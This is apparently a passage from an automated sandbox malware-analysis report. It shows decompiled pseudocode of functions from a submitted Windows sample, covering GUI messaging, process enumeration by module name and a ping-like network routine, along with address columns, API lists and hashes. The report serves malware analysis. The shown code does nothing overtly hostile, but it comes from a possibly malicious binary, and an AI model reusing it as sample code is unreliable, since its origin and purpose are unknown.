						switch( *((intOrPtr*)(( *(_t45 + 0x448fdf) & 0x000000ff) * 4 +  &M00448FBB))) {
							case 0:
								__eax = _a8;
								__eflags = __eax;
								if(__eflags < 0) {
									goto L27;
								} else {
									__esi[0x11] = __eax;
									__eax = E00441A7A(__ebx, __ecx, __eflags, __eax, 1);
									goto L23;
								}
								goto L28;
							case 1:
								L19:
								__esi[0x11] = __ebp;
								E00441A7A(__ebx, __ecx, __eflags, __ebp, 1) = E0043401C(__ebx, __esi, 1);
								goto L23;
							case 2:
								__eax = _a8;
								__eflags = __eax;
								if(__eax < 0) {
									goto L27;
								} else {
									__eax = SendMessageW(__edi, 0x2001, 0, __eax);
									goto L23;
								}
								goto L28;
							case 3:
								__eax = _a8;
								__eflags = __eax;
								if(__eax < 0) {
									goto L27;
								} else {
									__eax = SendMessageW(__edi, 0x111d, 0, __eax);
									goto L23;
								}
								goto L28;
							case 4:
								__eax = _a8;
								__eflags = __eax;
								if(__eflags < 0) {
									goto L27;
								} else {
									__esi[0x11] = __eax;
									__eax = E00441A7A(__ebx, __ecx, __eflags, __eax, 1);
									__ecx = __esi[0xc];
									__eax = InvalidateRect(__esi[0xc], 0, 1);
									goto L23;
								}
								goto L28;
							case 5:
								__eax = _a8;
								__eflags = __eax - 0xffffffff;
								if(__eflags < 0) {
									goto L27;
								} else {
									__esi[0x11] = __eax;
									__eax = E00441A7A(__ebx, __ecx, __eflags, __eax, 1);
									__eflags = __esi[0x22] & 0x00000020;
									if((__esi[0x22] & 0x00000020) == 0) {
										__edi =  *0x4826e0;
										ShowWindow( *__esi, 0) =  *__esi;
										__eax = ShowWindow( *__esi, 5);
										__ecx =  *__esi;
										__eax = SetFocus( *__esi);
									}
									goto L23;
								}
								goto L28;
							case 6:
								_t66 = _a8;
								if(_t66 == 0xfffffffe) {
									goto L27;
								} else {
									_t74 = _t66 - 0xfe000000;
									if(_t66 != 0xfe000000) {
										SendMessageW(_t63, 0x1001, 0, _t66);
										SendMessageW(_t63, 0x1026, 0, _t66);
										_t49 = E0043401C(_v4, _t64, 1);
									} else {
										_t64[0x11] = _t66;
										_t49 = E00441A7A(_t53, _t58, _t74, _t66, 1);
									}
									L23:
									if( *0x4972c4 == 0 || _a4 != 8) {
										return 1;
									} else {
										return _t49 | 0xffffffff;
									}
								}
								goto L28;
							case 7:
								__eflags = __ebp;
								if(__ebp < 0) {
									goto L27;
								} else {
									_push(0xfffffff0);
									_push(__edi);
									__eax =  *0x482718();
									__eax = __eax | 0x0000000b;
									__eflags = __eax;
									_push(__eax);
									_push(0xfffffff0);
									_push(__edi);
									__eax =  *0x4824d8();
									goto L19;
								}
								goto L28;
							case 8:
								goto L27;
						}
					}
				}
				L28:
			}












                                                                                                                                                                            0x00448dd1
                                                                                                                                                                            0x00448fb2
                                                                                                                                                                            0x00448fb2
                                                                                                                                                                            0x00448fb8
                                                                                                                                                                            0x00448dd7
                                                                                                                                                                            0x00448dd7
                                                                                                                                                                            0x00448ddb
                                                                                                                                                                            0x00448dea
                                                                                                                                                                            0x00448df3
                                                                                                                                                                            0x00448dfb
                                                                                                                                                                            0x00448e02
                                                                                                                                                                            0x00448e06
                                                                                                                                                                            0x00448e0a
                                                                                                                                                                            0x00448e0f
                                                                                                                                                                            0x00448e15
                                                                                                                                                                            0x00448e17
                                                                                                                                                                            0x00448e1a
                                                                                                                                                                            0x00448e1a
                                                                                                                                                                            0x00448e1f
                                                                                                                                                                            0x00448e27
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448e2d
                                                                                                                                                                            0x00448e38
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448e92
                                                                                                                                                                            0x00448e96
                                                                                                                                                                            0x00448e98
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448e9e
                                                                                                                                                                            0x00448ea1
                                                                                                                                                                            0x00448ea4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448ea4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448f33
                                                                                                                                                                            0x00448f36
                                                                                                                                                                            0x00448f42
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448eae
                                                                                                                                                                            0x00448eb2
                                                                                                                                                                            0x00448eb4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448eba
                                                                                                                                                                            0x00448ec3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448ec3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448ece
                                                                                                                                                                            0x00448ed2
                                                                                                                                                                            0x00448ed4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448eda
                                                                                                                                                                            0x00448ee3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448ee3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448eee
                                                                                                                                                                            0x00448ef2
                                                                                                                                                                            0x00448ef4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448efa
                                                                                                                                                                            0x00448efd
                                                                                                                                                                            0x00448f00
                                                                                                                                                                            0x00448f05
                                                                                                                                                                            0x00448f0d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448f0d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448f49
                                                                                                                                                                            0x00448f4d
                                                                                                                                                                            0x00448f50
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448f52
                                                                                                                                                                            0x00448f55
                                                                                                                                                                            0x00448f58
                                                                                                                                                                            0x00448f5d
                                                                                                                                                                            0x00448f64
                                                                                                                                                                            0x00448f68
                                                                                                                                                                            0x00448f73
                                                                                                                                                                            0x00448f78
                                                                                                                                                                            0x00448f7a
                                                                                                                                                                            0x00448f7d
                                                                                                                                                                            0x00448f7d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448f64
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448e3f
                                                                                                                                                                            0x00448e46
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448e4c
                                                                                                                                                                            0x00448e4c
                                                                                                                                                                            0x00448e52
                                                                                                                                                                            0x00448e73
                                                                                                                                                                            0x00448e7e
                                                                                                                                                                            0x00448e88
                                                                                                                                                                            0x00448e54
                                                                                                                                                                            0x00448e57
                                                                                                                                                                            0x00448e5a
                                                                                                                                                                            0x00448e5a
                                                                                                                                                                            0x00448f83
                                                                                                                                                                            0x00448f8a
                                                                                                                                                                            0x00448fac
                                                                                                                                                                            0x00448f93
                                                                                                                                                                            0x00448f9d
                                                                                                                                                                            0x00448f9d
                                                                                                                                                                            0x00448f8a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448f15
                                                                                                                                                                            0x00448f17
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448f1d
                                                                                                                                                                            0x00448f1d
                                                                                                                                                                            0x00448f1f
                                                                                                                                                                            0x00448f20
                                                                                                                                                                            0x00448f26
                                                                                                                                                                            0x00448f26
                                                                                                                                                                            0x00448f29
                                                                                                                                                                            0x00448f2a
                                                                                                                                                                            0x00448f2c
                                                                                                                                                                            0x00448f2d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448f2d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448e38
                                                                                                                                                                            0x00448e27
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 004419ED: DeleteObject.GDI32(?), ref: 00441A53
                                                                                                                                                                            • SendMessageW.USER32(762ED360,00001001,00000000,00000000), ref: 00448E73
                                                                                                                                                                            • SendMessageW.USER32(762ED360,00001026,00000000,00000000), ref: 00448E7E
                                                                                                                                                                              • Part of subcall function 00441A7A: CreateSolidBrush.GDI32 ref: 00441ACB
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$BrushCreateDeleteObjectSolid
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3771399671-0
                                                                                                                                                                            • Opcode ID: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                                                                                            • Instruction ID: ebbecaf0548398ae771b9aa28ebf0b72f134f9ffbbfb28b2279bd799396bd9e3
                                                                                                                                                                            • Opcode Fuzzy Hash: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                                                                                            • Instruction Fuzzy Hash: F4510930208300AFE2209F25DD85F6F77EAEB85B14F14091EF994E72D0CBB9E9458769
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00436EC8 Relevance: 12.1, APIs: 8, Instructions: 103COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 72%
                                                                                                                                                                            			E00436EC8(char _a492, char _a508, char _a1016, char _a1532, char _a2092, intOrPtr _a4100, long* _a4104, intOrPtr _a4132, void* _a4152) {
				char _v0;
				intOrPtr _v4;
				char _v8;
				unsigned int _v12;
				char _v24;
				char _v32;
				intOrPtr _v36;
				char* _t34;
				intOrPtr _t35;
				void* _t38;
				char* _t39;
				void* _t46;
				long _t47;
				signed int _t51;
				intOrPtr _t59;
				void* _t69;
				unsigned int _t72;
				void* _t75;
				void* _t76;

				E00425210(0x102c);
				_t34 =  &_v0;
				_push(_t34);
				_push(0x800);
				_push( &_a2092);
				L00410F34();
				if(_t34 != 0) {
					_t72 = _v12 >> 2;
					_v0 = 0;
					_t35 = E00436E8C( &_a2092, _a4132);
					_t76 = _t75 + 4;
					_t51 = 0;
					_v4 = _t35;
					if(_t72 > 0) {
						while(_v0 == 0) {
							_t38 = OpenProcess(0x410, 0,  *(_t76 + 0x83c + _t51 * 4));
							_push( &_v12);
							_push(4);
							_t69 = _t38;
							_push( &_v8);
							_push(_t69);
							L00410F3A();
							_push(0x104);
							_t39 =  &_a508;
							_push(_t39);
							_push(_v24);
							_push(_t69);
							L00410F40();
							if(_t39 != 0) {
								E00413DB0( &_a492,  &_v32,  &_a1532,  &_v24,  &_a1016);
								E00411663( &_v24,  &_a1016);
								_t46 = E004115D0( &_v24,  &_v24, _a4100);
								_t76 = _t76 + 0x24;
								if(_t46 != 0) {
									_t59 = _v36;
									if(_t59 != 0) {
										_t47 =  *(_t76 + 0x83c + _t51 * 4);
										if(_t59 == _t47) {
											 *_a4104 = _t47;
											goto L11;
										}
									}
								} else {
									 *_a4104 =  *(_t76 + 0x83c + _t51 * 4);
									L11:
									_v0 = 1;
								}
							}
							CloseHandle(_t69);
							_t51 = _t51 + 1;
							if(_t51 < _t72) {
								continue;
							}
							break;
						}
					}
					return 1;
				} else {
					return 0;
				}
			}






















                                                                                                                                                                            0x00436ecd
                                                                                                                                                                            0x00436eda
                                                                                                                                                                            0x00436ede
                                                                                                                                                                            0x00436edf
                                                                                                                                                                            0x00436eeb
                                                                                                                                                                            0x00436eec
                                                                                                                                                                            0x00436ef3
                                                                                                                                                                            0x00436f0d
                                                                                                                                                                            0x00436f10
                                                                                                                                                                            0x00436f14
                                                                                                                                                                            0x00436f19
                                                                                                                                                                            0x00436f1c
                                                                                                                                                                            0x00436f1e
                                                                                                                                                                            0x00436f24
                                                                                                                                                                            0x00436f2b
                                                                                                                                                                            0x00436f44
                                                                                                                                                                            0x00436f4e
                                                                                                                                                                            0x00436f4f
                                                                                                                                                                            0x00436f55
                                                                                                                                                                            0x00436f57
                                                                                                                                                                            0x00436f58
                                                                                                                                                                            0x00436f59
                                                                                                                                                                            0x00436f62
                                                                                                                                                                            0x00436f67
                                                                                                                                                                            0x00436f6e
                                                                                                                                                                            0x00436f6f
                                                                                                                                                                            0x00436f70
                                                                                                                                                                            0x00436f71
                                                                                                                                                                            0x00436f78
                                                                                                                                                                            0x00436fa0
                                                                                                                                                                            0x00436fb2
                                                                                                                                                                            0x00436fc4
                                                                                                                                                                            0x00436fc9
                                                                                                                                                                            0x00436fce
                                                                                                                                                                            0x00436fe2
                                                                                                                                                                            0x00436fe8
                                                                                                                                                                            0x00436fea
                                                                                                                                                                            0x00436ff3
                                                                                                                                                                            0x00436ffc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00436ffc
                                                                                                                                                                            0x00436ff3
                                                                                                                                                                            0x00436fd0
                                                                                                                                                                            0x00436fde
                                                                                                                                                                            0x00436ffe
                                                                                                                                                                            0x00436ffe
                                                                                                                                                                            0x00436ffe
                                                                                                                                                                            0x00436fce
                                                                                                                                                                            0x00437003
                                                                                                                                                                            0x00437009
                                                                                                                                                                            0x0043700c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043700c
                                                                                                                                                                            0x00437012
                                                                                                                                                                            0x0043701e
                                                                                                                                                                            0x00436ef5
                                                                                                                                                                            0x00436efe
                                                                                                                                                                            0x00436efe

                                                                                                                                                                            APIs
                                                                                                                                                                            • EnumProcesses.PSAPI(?,00000800,?,?,00444263,?,?,?), ref: 00436EEC
                                                                                                                                                                            • OpenProcess.KERNEL32(00000410,00000000,?,?,?), ref: 00436F44
                                                                                                                                                                            • EnumProcessModules.PSAPI(00000000,?,00000004,?), ref: 00436F59
                                                                                                                                                                            • GetModuleBaseNameW.PSAPI(00000000,?,?,00000104,00000000,?,00000004,?), ref: 00436F71
                                                                                                                                                                            • __wsplitpath.LIBCMT ref: 00436FA0
                                                                                                                                                                            • _wcscat.LIBCMT ref: 00436FB2
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 00436FC4
                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,00000000,?,?,00000104,00000000,?,00000004,?), ref: 00437003
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: EnumProcess$BaseCloseHandleModuleModulesNameOpenProcesses__wcsicoll__wsplitpath_wcscat
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2903788889-0
                                                                                                                                                                            • Opcode ID: 7292045517b03260f1320f87d3cebc28a29f897dca793e666df8b3a842c294cc
                                                                                                                                                                            • Instruction ID: e95795bff0e4a6f47310c77509a1ee8dff79588992f1933afd8058d7896a4498
                                                                                                                                                                            • Opcode Fuzzy Hash: 7292045517b03260f1320f87d3cebc28a29f897dca793e666df8b3a842c294cc
                                                                                                                                                                            • Instruction Fuzzy Hash: C831A5B5108341ABD725DF54D881EEF73E8BBC8704F00891EF6C587241DBB9AA89C766
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004357AD Relevance: 12.0, APIs: 8, Instructions: 36COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • VariantClear.OLEAUT32(00000038), ref: 004357C3
                                                                                                                                                                            • VariantClear.OLEAUT32(00000058), ref: 004357C9
                                                                                                                                                                            • VariantClear.OLEAUT32(00000068), ref: 004357CF
                                                                                                                                                                            • VariantClear.OLEAUT32(00000078), ref: 004357D5
                                                                                                                                                                            • VariantClear.OLEAUT32(00000088), ref: 004357DE
                                                                                                                                                                            • VariantClear.OLEAUT32(00000048), ref: 004357E4
                                                                                                                                                                            • VariantClear.OLEAUT32(00000098), ref: 004357ED
                                                                                                                                                                            • VariantClear.OLEAUT32(000000A8), ref: 004357F6
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClearVariant
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1473721057-0
                                                                                                                                                                            • Opcode ID: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                                            • Instruction ID: 4669651a97e20320d925a323ac357da1b1419afffb7c9eb93274aad60c959a81
                                                                                                                                                                            • Opcode Fuzzy Hash: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                                            • Instruction Fuzzy Hash: BDF03CB6400B446AC235EB79DC40BD7B7E86F89200F018E1DE58783514DA78F588CB64
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00464A0E Relevance: 10.8, APIs: 7, Instructions: 281networkmemoryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 69%
                                                                                                                                                                            			E00464A0E(intOrPtr* __ecx, char* _a4, void** _a8) {
				char _v404;
				void* _v472;
				void* _v480;
				char _v484;
				intOrPtr _v488;
				char _v496;
				void* _v500;
				void* _v508;
				char _v512;
				void* _v516;
				char _v520;
				char _v524;
				char _v528;
				void* _v532;
				char _v536;
				char _v544;
				char _v548;
				void* _v552;
				char _v556;
				intOrPtr _v560;
				char _v568;
				void* _v584;
				char _v588;
				void* __ebx;
				intOrPtr* __edi;
				void* __esi;
				void* __ebp;
				void* _t85;
				void* _t90;
				void* _t101;
				void* _t111;
				intOrPtr _t115;
				intOrPtr _t119;
				void* _t124;
				void* _t125;
				intOrPtr _t126;
				void** _t157;
				intOrPtr* _t194;
				void* _t198;
				intOrPtr _t202;
				void* _t207;

				_t157 = _a8;
				_v520 = 0;
				_v512 = 0;
				_v508 = 0;
				_v500 = 0;
				_v532 = 0;
				_v524 = 0;
				_t194 = __ecx;
				_v536 =  *((intOrPtr*)(_a4 + 8));
				_v496 = 0xfa0;
				E004092C0(__ecx, _t157);
				_t157[2] = 1;
				 *_t157 = 0;
				if(_v536 > 1) {
					_t211 = _a4;
					if(E0040C760( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)) + 4))) > 0) {
						_v496 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t211 + 4)) + 4)));
					}
				}
				if(E00434489( &_v520) != 0) {
					_t85 =  &_v404;
					_push(_t85);
					_push(0x101);
					L00410E86();
					__eflags = _t85;
					if(__eflags == 0) {
						E0040D500( &_v496, __eflags);
						_t179 = _a4;
						_t90 = E0045EFE7( &_v520, _a4, _t194, E00453063( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4))))),  &_v496);
						_t202 = _v508;
						_push(_t202);
						L00410EA4();
						_push(_t202);
						_v516 = _t90;
						L00410E92();
						_v500 = _t90;
						__eflags = _t90;
						if(_t90 == 0) {
							L15:
							E004040E0( *((intOrPtr*)( *_t194 + 4)) + _t194, 4, 0);
							E00401330( *_t194,  &_v512);
							goto L5;
						} else {
							_t101 = E00434489( &_v536);
							__eflags = _t101;
							if(_t101 == 0) {
								L32:
								__eflags =  *((intOrPtr*)( *_t194 + 4)) + _t194;
								E004040E0( *((intOrPtr*)( *_t194 + 4)) + _t194, 4, 0);
								E00401330(_t179,  &_v512);
								goto L33;
							} else {
								_t111 = E00434472( &_v524);
								__eflags = _t111;
								if(_t111 == 0) {
									goto L32;
								} else {
									_t179 =  &_v548;
									__eflags = E0043445B( &_v548);
									if(__eflags == 0) {
										goto L32;
									} else {
										_t115 =  *((intOrPtr*)(E00442542(__eflags,  &_v536)))();
										_v560 = _t115;
										__eflags = _t115 - 0xffffffff;
										if(_t115 == 0xffffffff) {
											goto L32;
										} else {
											E004131F0(_t194,  &_v484, 0xffffffaa, 0x24);
											_t207 = GlobalAlloc(0x40, 0x40);
											_v552 = _t207;
											__eflags = _t207;
											if(__eflags != 0) {
												 *((intOrPtr*)(_t207 + 0x10)) =  &_v484;
												_t119 = _v508;
												 *((short*)(_t207 + 0xc)) = 0x24;
												__eflags = _t119 - 0xffffffff;
												if(__eflags != 0) {
													_push(_v512);
													_push(0x40);
													_push(_t207);
													_push(0);
													_push(0x24);
													_push( &_v484);
													_push(_t119);
													_push(_v556);
													_push( &_v548);
												} else {
													_push(_v512);
													_push(0x40);
													_push(_t207);
													_push(0);
													_push(0x24);
													_push( &_v484);
													_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v488 + 0xc)))))));
													_push(_v556);
													_push( &_v548);
												}
												 *((intOrPtr*)(E00442504(__eflags)))();
												E00410F70(_t157, _t194, _t207,  &_v484, _t207, 0x1c);
												_t124 = _v480;
												__eflags = _t124;
												if(_t124 != 0) {
													_t125 = _t124 + 0xffffd506;
													__eflags = _t125 - 0x10;
													if(_t125 > 0x10) {
														L28:
														_push(0);
														_push(4);
														goto L29;
													} else {
														switch( *((intOrPtr*)(( *(_t125 + 0x464d6e) & 0x000000ff) * 4 +  &M00464D5E))) {
															case 0:
																_push(0);
																_push(2);
																L29:
																_t126 =  *((intOrPtr*)( *_t194 + 4));
																goto L30;
															case 1:
																__edx =  *__edi;
																__eax =  *((intOrPtr*)( *__edi + 4));
																_push(0);
																_push(1);
																goto L30;
															case 2:
																__eax =  *__edi;
																__eax =  *((intOrPtr*)( *__edi + 4));
																_push(0);
																_push(3);
																goto L30;
															case 3:
																goto L28;
														}
													}
													L30:
													__eflags = _t126 + _t194;
													E004040E0(_t126 + _t194);
												} else {
													_t198 = _v472;
													E004092C0(_t198, _t157);
													_t207 = _v584;
													_t157[2] = 1;
													__eflags = _t198;
													if(__eflags != 0) {
														 *_t157 = _t198;
													} else {
														 *_t157 = 1;
													}
												}
												_push(_v588);
												 *((intOrPtr*)(E00442523(__eflags,  &_v556)))();
												GlobalFree(_t207);
												L00410E9E();
												E00401330(_v588,  &_v544);
												E004344A0( &_v588);
												E004344A0( &_v568);
												E004344A0( &_v584);
												__eflags = 0;
												return 0;
											} else {
												_push(_v556);
												 *((intOrPtr*)(E00442523(__eflags,  &_v524)))();
												goto L15;
											}
										}
									}
								}
							}
						}
					} else {
						E004040E0( *((intOrPtr*)( *_t194 + 4)) + _t194, 4, 0);
						L33:
						E004344A0( &_v548);
						E004344A0( &_v528);
						E004344A0( &_v544);
						__eflags = 0;
						return 0;
					}
				} else {
					E004040E0( *((intOrPtr*)( *_t194 + 4)) + _t194, 4, 0);
					L5:
					E004344A0( &_v548);
					E004344A0( &_v528);
					E004344A0( &_v544);
					return 0;
				}
			}












































                                                                                                                                                                            0x00464a1d
                                                                                                                                                                            0x00464a21
                                                                                                                                                                            0x00464a25
                                                                                                                                                                            0x00464a29
                                                                                                                                                                            0x00464a2d
                                                                                                                                                                            0x00464a31
                                                                                                                                                                            0x00464a35
                                                                                                                                                                            0x00464a3d
                                                                                                                                                                            0x00464a44
                                                                                                                                                                            0x00464a48
                                                                                                                                                                            0x00464a50
                                                                                                                                                                            0x00464a5a
                                                                                                                                                                            0x00464a5d
                                                                                                                                                                            0x00464a67
                                                                                                                                                                            0x00464a69
                                                                                                                                                                            0x00464a79
                                                                                                                                                                            0x00464a86
                                                                                                                                                                            0x00464a86
                                                                                                                                                                            0x00464a79
                                                                                                                                                                            0x00464a96
                                                                                                                                                                            0x00464ad1
                                                                                                                                                                            0x00464ad8
                                                                                                                                                                            0x00464ad9
                                                                                                                                                                            0x00464ade
                                                                                                                                                                            0x00464ae3
                                                                                                                                                                            0x00464ae5
                                                                                                                                                                            0x00464b00
                                                                                                                                                                            0x00464b05
                                                                                                                                                                            0x00464b15
                                                                                                                                                                            0x00464b1a
                                                                                                                                                                            0x00464b1e
                                                                                                                                                                            0x00464b1f
                                                                                                                                                                            0x00464b24
                                                                                                                                                                            0x00464b25
                                                                                                                                                                            0x00464b29
                                                                                                                                                                            0x00464b2e
                                                                                                                                                                            0x00464b32
                                                                                                                                                                            0x00464b34
                                                                                                                                                                            0x00464bbf
                                                                                                                                                                            0x00464bca
                                                                                                                                                                            0x00464bd3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464b3a
                                                                                                                                                                            0x00464b3f
                                                                                                                                                                            0x00464b44
                                                                                                                                                                            0x00464b46
                                                                                                                                                                            0x00464d1b
                                                                                                                                                                            0x00464d24
                                                                                                                                                                            0x00464d26
                                                                                                                                                                            0x00464d2f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464b4c
                                                                                                                                                                            0x00464b51
                                                                                                                                                                            0x00464b56
                                                                                                                                                                            0x00464b58
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464b5e
                                                                                                                                                                            0x00464b5e
                                                                                                                                                                            0x00464b68
                                                                                                                                                                            0x00464b6a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464b70
                                                                                                                                                                            0x00464b7a
                                                                                                                                                                            0x00464b7c
                                                                                                                                                                            0x00464b80
                                                                                                                                                                            0x00464b83
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464b89
                                                                                                                                                                            0x00464b92
                                                                                                                                                                            0x00464ba4
                                                                                                                                                                            0x00464ba6
                                                                                                                                                                            0x00464baa
                                                                                                                                                                            0x00464bac
                                                                                                                                                                            0x00464be1
                                                                                                                                                                            0x00464be4
                                                                                                                                                                            0x00464bed
                                                                                                                                                                            0x00464bf1
                                                                                                                                                                            0x00464bf4
                                                                                                                                                                            0x00464c22
                                                                                                                                                                            0x00464c23
                                                                                                                                                                            0x00464c25
                                                                                                                                                                            0x00464c26
                                                                                                                                                                            0x00464c28
                                                                                                                                                                            0x00464c2e
                                                                                                                                                                            0x00464c2f
                                                                                                                                                                            0x00464c34
                                                                                                                                                                            0x00464c39
                                                                                                                                                                            0x00464bf6
                                                                                                                                                                            0x00464bfa
                                                                                                                                                                            0x00464bfb
                                                                                                                                                                            0x00464bfd
                                                                                                                                                                            0x00464bfe
                                                                                                                                                                            0x00464c00
                                                                                                                                                                            0x00464c0c
                                                                                                                                                                            0x00464c15
                                                                                                                                                                            0x00464c16
                                                                                                                                                                            0x00464c1b
                                                                                                                                                                            0x00464c1b
                                                                                                                                                                            0x00464c3f
                                                                                                                                                                            0x00464c4c
                                                                                                                                                                            0x00464c51
                                                                                                                                                                            0x00464c5b
                                                                                                                                                                            0x00464c5d
                                                                                                                                                                            0x00464c88
                                                                                                                                                                            0x00464c8d
                                                                                                                                                                            0x00464c90
                                                                                                                                                                            0x00464cbc
                                                                                                                                                                            0x00464cbc
                                                                                                                                                                            0x00464cbe
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464c92
                                                                                                                                                                            0x00464c99
                                                                                                                                                                            0x00000000
